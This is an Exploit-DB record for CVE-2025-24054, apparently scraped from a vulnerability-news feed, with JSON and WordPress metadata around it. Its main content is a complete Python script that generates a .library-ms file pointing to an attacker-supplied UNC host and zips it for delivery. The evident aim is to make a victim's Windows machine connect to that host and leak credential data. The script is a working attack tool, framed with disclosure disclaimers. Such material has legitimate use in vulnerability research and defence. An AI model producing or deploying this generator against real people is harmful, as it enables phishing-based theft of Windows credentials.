{“lastseen”:”2026-02-11T11:28:26″,”description”:”Exploit Title: Windows 10.0.17763.7009 – spoofing vulnerability Google Dork: N\/A Date: 2025-10-06 Exploit Author: Beatriz Fresno Naumova Vendor Homepage: https:\/\/www.microsoft.com Software Link: N\/A Version: Not applicable this is a generic Windows…”,”published”:”2026-02-11T00:00:00″,”modified”:”2026-02-11T00:00:00″,”type”:”exploitdb”,”title”:”Windows 10.0.17763.7009 – spoofing vulnerability”,”source”:””,”references”:””,”id”:”EDB-ID:52480″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-24054″],”sourceData”:”# Exploit Title: Windows 10.0.17763.7009 – spoofing vulnerability\\r\\n# Google Dork: N\/A\\r\\n# Date: 2025-10-06\\r\\n# Exploit Author: Beatriz Fresno Naumova\\r\\n# Vendor Homepage: https:\/\/www.microsoft.com\\r\\n# Software Link: N\/A\\r\\n# Version: Not applicable (this is a generic Windows library file behavior)\\r\\n# Tested on: Windows 10 (x64) \/ Windows 11 (x64) (lab environment)\\r\\n# CVE: CVE-2025-24054\\r\\n#\\r\\n# Description:\\r\\n# A proof-of-concept that generates a .library-ms XML file pointing to a network\\r\\n# share (UNC). When opened\/imported on Windows, the library points to the specified\\r\\n# UNC path.\\r\\n#\\r\\n# Notes:\\r\\n# – This PoC is provided for responsible disclosure only. Do not test against\\r\\n# live\/production websites or networks without explicit written permission.\\r\\n# – Attach exactly one exploit file per email (this file).\\r\\n# – Include the .library-ms (or ZIP containing it) as an attachment, plus this header block.\\r\\n\\r\\n#!\/usr\/bin\/env python3\\r\\n\\r\\nimport argparse\\r\\nimport ipaddress\\r\\nimport os\\r\\nimport re\\r\\nimport sys\\r\\nimport tempfile\\r\\nimport zipfile\\r\\nimport shutil\\r\\nfrom pathlib import Path\\r\\n\\r\\n# Very small hostname check (keeps things simple)\\r\\n_HOSTNAME_RE = re.compile(\\r\\n r\\”^(?:[A-Za-z0-9](?:[A-Za-z0-9\\\\-]{0,61}[A-Za-z0-9])?\\\\.)*[A-Za-z0-9\\\\-]{1,63}$\\”\\r\\n)\\r\\n\\r\\n# simple sanitizer: allow only a limited charset for base filenames\\r\\n_FILENAME_RE = re.compile(r\\”^[A-Za-z0-9._-]{1,128}$\\”)\\r\\n\\r\\n\\r\\ndef is_valid_target(value: str) -\\u003e bool:\\r\\n \\”\\”\\”\\r\\n Return True if value looks like an IP address, a hostname, or a UNC path.\\r\\n This is intentionally permissive \u2014 it’s only to catch obvious typos.\\r\\n \\”\\”\\”\\r\\n if value.startswith(\\”\\\\\\\\\\\\\\\\\\”) or value.startswith(\\”\/\/\\”):\\r\\n # Minimal UNC sanity: ensure there’s at least \\\\\\\\host\\\\share (two components)\\r\\n parts = re.split(r\\”[\\\\\\\\\/]+\\”, value.strip(\\”\\\\\\\\\/\\”))\\r\\n return len(parts) \\u003e= 2 and all(parts[:2])\\r\\n try:\\r\\n ipaddress.ip_address(value)\\r\\n return True\\r\\n except ValueError:\\r\\n pass\\r\\n if _HOSTNAME_RE.match(value):\\r\\n return True\\r\\n return False\\r\\n\\r\\n\\r\\ndef build_library_xml(target: str) -\\u003e str:\\r\\n \\”\\”\\”\\r\\n Build the XML content for the .library-ms file.\\r\\n If the user supplies a bare host\/IP, the script uses a share called ‘shared’\\r\\n (matching the original behavior).\\r\\n \\”\\”\\”\\r\\n if target.startswith(\\”\\\\\\\\\\\\\\\\\\”) or target.startswith(\\”\/\/\\”):\\r\\n # normalize forward slashes to backslashes (if any)\\r\\n url = target.replace(\\”\/\\”, \\”\\\\\\\\\\”)\\r\\n else:\\r\\n url = f\\”\\\\\\\\\\\\\\\\{target}\\\\\\\\shared\\”\\r\\n # Return a plain, minimal XML structure (no additional payloads)\\r\\n return f\\”\\”\\”\\u003c?xml version=\\”1.0\\” encoding=\\”UTF-8\\”?\\u003e\\r\\n\\u003clibraryDescription xmlns=\\”http:\/\/schemas.microsoft.com\/windows\/2009\/library\\”\\u003e\\r\\n \\u003csearchConnectorDescriptionList\\u003e\\r\\n \\u003csearchConnectorDescription\\u003e\\r\\n \\u003csimpleLocation\\u003e\\r\\n \\u003curl\\u003e{url}\\u003c\/url\\u003e\\r\\n \\u003c\/simpleLocation\\u003e\\r\\n \\u003c\/searchConnectorDescription\\u003e\\r\\n \\u003c\/searchConnectorDescriptionList\\u003e\\r\\n\\u003c\/libraryDescription\\u003e\\r\\n\\”\\”\\”\\r\\n\\r\\n\\r\\ndef write_zip_with_lib(xml_content: str, lib_name: str, zip_path: Path) -\\u003e None:\\r\\n \\”\\”\\”\\r\\n Write the XML to a temporary .library-ms file and add it into a zip.\\r\\n \\”\\”\\”\\r\\n tmpdir = Path(tempfile.mkdtemp(prefix=\\”libgen_\\”))\\r\\n try:\\r\\n tmp_lib = tmpdir \/ lib_name\\r\\n tmp_lib.write_text(xml_content, encoding=\\”utf-8\\”)\\r\\n with zipfile.ZipFile(zip_path, mode=\\”w\\”, compression=zipfile.ZIP_DEFLATED) as zf:\\r\\n # place the file at the root of the zip\\r\\n zf.write(tmp_lib, arcname=lib_name)\\r\\n finally:\\r\\n # robust cleanup\\r\\n try:\\r\\n shutil.rmtree(tmpdir)\\r\\n except Exception:\\r\\n pass\\r\\n\\r\\n\\r\\ndef sanitize_basename(name: str) -\\u003e str:\\r\\n \\”\\”\\”\\r\\n Ensure the provided base filename is a short safe token (no path separators).\\r\\n Raises ValueError on invalid names.\\r\\n \\”\\”\\”\\r\\n if not name:\\r\\n raise ValueError(\\”Empty filename\\”)\\r\\n if os.path.sep in name or (os.path.altsep and os.path.altsep in name):\\r\\n raise ValueError(\\”Filename must not contain path separators\\”)\\r\\n if not _FILENAME_RE.match(name):\\r\\n raise ValueError(\\r\\n \\”Filename contains invalid characters. Allowed: letters, numbers, dot, underscore, hyphen\\”\\r\\n )\\r\\n return name\\r\\n\\r\\n\\r\\ndef main():\\r\\n parser = argparse.ArgumentParser(\\r\\n description=\\”Generate a .library-ms inside a zip (keep it responsible).\\”\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–file\\”,\\r\\n \\”-f\\”,\\r\\n default=None,\\r\\n help=\\”Base filename (without extension). If omitted, interactive prompt is used.\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–target\\”,\\r\\n \\”-t\\”,\\r\\n default=None,\\r\\n help=\\”Target IP, hostname or UNC (e.g. 192.168.1.162 or \\\\\\\\\\\\\\\\host\\\\\\\\share).\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–zip\\”,\\r\\n \\”-z\\”,\\r\\n default=\\”exploit.zip\\”,\\r\\n help=\\”Output zip filename (default: exploit.zip).\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–out\\”,\\r\\n \\”-o\\”,\\r\\n default=\\”.\\”,\\r\\n help=\\”Output directory (default: current directory).\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–dry-run\\”,\\r\\n action=\\”store_true\\”,\\r\\n help=\\”Print the .library-ms content and exit without creating files.\\”,\\r\\n )\\r\\n parser.add_argument(\\r\\n \\”–force\\”,\\r\\n action=\\”store_true\\”,\\r\\n help=\\”Overwrite output zip if it already exists (use with care).\\”,\\r\\n )\\r\\n args = parser.parse_args()\\r\\n\\r\\n # Interactive fallback if needed\\r\\n if not args.file:\\r\\n try:\\r\\n args.file = input(\\”Enter your file name (base, without extension): \\”).strip()\\r\\n except EOFError:\\r\\n print(\\”No file name provided.\\”, file=sys.stderr)\\r\\n sys.exit(1)\\r\\n if not args.target:\\r\\n try:\\r\\n args.target = input(\\r\\n \\”Enter IP or host (e.g. 192.168.1.162 or \\\\\\\\\\\\\\\\host\\\\\\\\share): \\”\\r\\n ).strip()\\r\\n except EOFError:\\r\\n print(\\”No target provided.\\”, file=sys.stderr)\\r\\n sys.exit(1)\\r\\n\\r\\n # sanitize filename\\r\\n try:\\r\\n safe_base = sanitize_basename(args.file)\\r\\n except ValueError as e:\\r\\n print(f\\”ERROR: invalid file name: {e}\\”, file=sys.stderr)\\r\\n sys.exit(2)\\r\\n\\r\\n if not args.target or not is_valid_target(args.target):\\r\\n print(\\r\\n \\”ERROR: target does not look like a valid IP, hostname, or UNC path.\\”,\\r\\n file=sys.stderr,\\r\\n )\\r\\n sys.exit(2)\\r\\n\\r\\n lib_filename = f\\”{safe_base}.library-ms\\”\\r\\n xml = build_library_xml(args.target)\\r\\n\\r\\n # Dry-run: show the content and exit\\r\\n if args.dry_run:\\r\\n print(\\”=== DRY RUN: .library-ms content ===\\”)\\r\\n print(xml)\\r\\n print(\\”=== END ===\\”)\\r\\n print(f\\”(Would create {lib_filename} inside {args.zip} in {args.out})\\”)\\r\\n return\\r\\n\\r\\n out_dir = Path(args.out).resolve()\\r\\n out_dir.mkdir(parents=True, exist_ok=True)\\r\\n zip_path = out_dir \/ args.zip\\r\\n\\r\\n if zip_path.exists() and not args.force:\\r\\n print(\\r\\n f\\”ERROR: {zip_path} already exists. Use –force to overwrite.\\”,\\r\\n file=sys.stderr,\\r\\n )\\r\\n sys.exit(3)\\r\\n\\r\\n # small reminder about authorization\\r\\n print(\\”Reminder: run tests only against systems you are authorized to test.\\”)\\r\\n write_zip_with_lib(xml, lib_filename, zip_path)\\r\\n print(f\\”Done. Created {zip_path} containing {lib_filename} -\\u003e points to {args.target}\\”)\\r\\n\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n main()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52480″,”cvss”:{“score”:6.5,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52480″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-11T11:28:26″,”description”:”Exploit Title: Windows 10.0.17763.7009 – spoofing vulnerability Google Dork: N\/A Date: 2025-10-06 Exploit Author: Beatriz Fresno Naumova Vendor Homepage: https:\/\/www.microsoft.com Software Link: N\/A Version: Not…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,40,21,13,7,11,5],"class_list":["post-40345","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n